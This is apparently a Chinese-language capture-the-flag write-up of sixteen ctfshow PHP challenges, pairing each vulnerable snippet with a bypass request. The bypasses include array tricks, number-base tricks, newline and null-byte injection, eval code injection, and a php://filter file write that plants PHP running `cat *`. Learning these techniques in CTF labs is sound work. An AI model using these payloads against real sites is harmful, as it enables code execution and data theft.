相关php代码性质的绕过与理解 以下代码出自于ctfshow
1.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
其中intval函数:获取整数值
不能出现0~9的数字,但是可以用空数组绕过 ?num[]=
2.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
intval($var,$base)
var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制
而===表示数值和类型必须相等
所以可以考虑4476的八进制或十六进制绕过 ?num=010574 or ?num=0x117c
3.
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; }else{ echo $flag; } }else{ echo 'nonononono'; }
结合代码可知 满足/^php$/im 且不满足 /^php$/i 才可以得到flag
'/im',这意味着i(忽略大小写)和m(多行模式)
所以可以多行去写这里就可以用到换行符了 %0a
?cmd = nb%0aphp
4.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
同2. 进制绕过即可,题目写的是0即八进制,可以选择使用十六进制绕过
5.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
多加了字母过滤,可以直接八进制绕过
也可以使用小数绕过 ?num=4476.1 因为小数部分会被程序自动舍弃,所以无伤大雅完美绕过$num==4476的拦截
6.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
strpos(string,find,start)
string是被检查的字符串,find是要被搜索的字符串,start是开始检索的位置
题干加了!,说明是必须要有零的存在 所以直接?num=4476.0
7.
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
多过滤了字母和小数点
所以不能小数绕过了,直接使用空格%20并且使用八进制绕过即可
?num=%20010574
8.
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
只要不是只输入flag.php即可
?u=./flag.php秒了
用之前的filter伪协议加base64编码也可以
9.
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
md5无法对数组加密,对数组加密返回的是null
所以使用POST请求 a[]=1&b[]=1
10.
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
说明要改两个地方 一个是cookie 一个是server
cookie增加 HTTP_FLAG=flag的值 满足cookie
url后缀随便玩 ?1
POST请求flag=flag 满足server
11.
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
因为计算v0用的是和运算,所以只需要V1有数字即可
v2,v3可以不用提供数字
if语句中 v2不能有符号; v3可以有
eval函数 呈现拼接作用
/?v1=1&v2=print_r($ctfshow)/&v3=/; 注释即可
12.
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
v1仍然数字 v2,v3无碍
涉及到类 可以new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)
元数据对象(包含class的所有属性/方法的元数据信息)
?v1=1&v2=echo new ReflectionClass&v3=;
其中0x2d要替换成 -
而且还缺少最后一位,可以自己猜,也可以去爆破
13.
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
substr($str,start,length) (其中length可以省略) 字符串截取
call_user_func($obj,$data) 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents($file,$data) 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议
所以主要是利用file_put_contents()函数创建文件,文件中注入攻击代码
v3=php://filter/write=convert.base64-decode/resource=1.php 用伪协议base64编码
然后通过v2(查看源码)写入1.php内容
-
<?=
cat *
; -
转为base64为PD89YGNhdCAqYDs
-
转为16进制的ascii码为5044383959474e6864434171594473
-
绕过截断,在前面随意加两位数字225044383959474e6864434171594473
v1=hex2bin 将数字字符串还原为base64码.(十六进制字符转二进制字符)
POST请求: v1=hex2bin
GET请求: v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
14.
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; } foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
$$key = $$value
可以类似于,将$key的地址指向$value
所以无论$b怎么改变值,$a的值都会和$b一样
die()
函数虽然会终止程序,但同时也会输出括号内的终止提示信息
所以会通过$flag来替换$error,然后再die($error)来输出flag
先覆盖GET,再覆盖POST
GET请求 ?suces=flag
POST请求 error=suces
15.
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
对于md5之前提到过 直接v3[]=1即可
parse_str($v1,$v2),则会将v1解析后,放到v2变量里面。
所以只要满足v2=md5的v3即可
POST请求v1=v2
GET请求?v3[]=1
16.
highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); } //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
ereg正则匹配,需要字母开头或结尾
strrev逆序倒置
0x36d为16进制数,十进制为877
需要字母开头或结尾
所以可以写为877a,因为是==弱比较,可以等同于877
逆序后为a778,直接读取不行,需要加一个截断%00,截断的意思就是读到%00就不读了
GET请求:?c=a%00778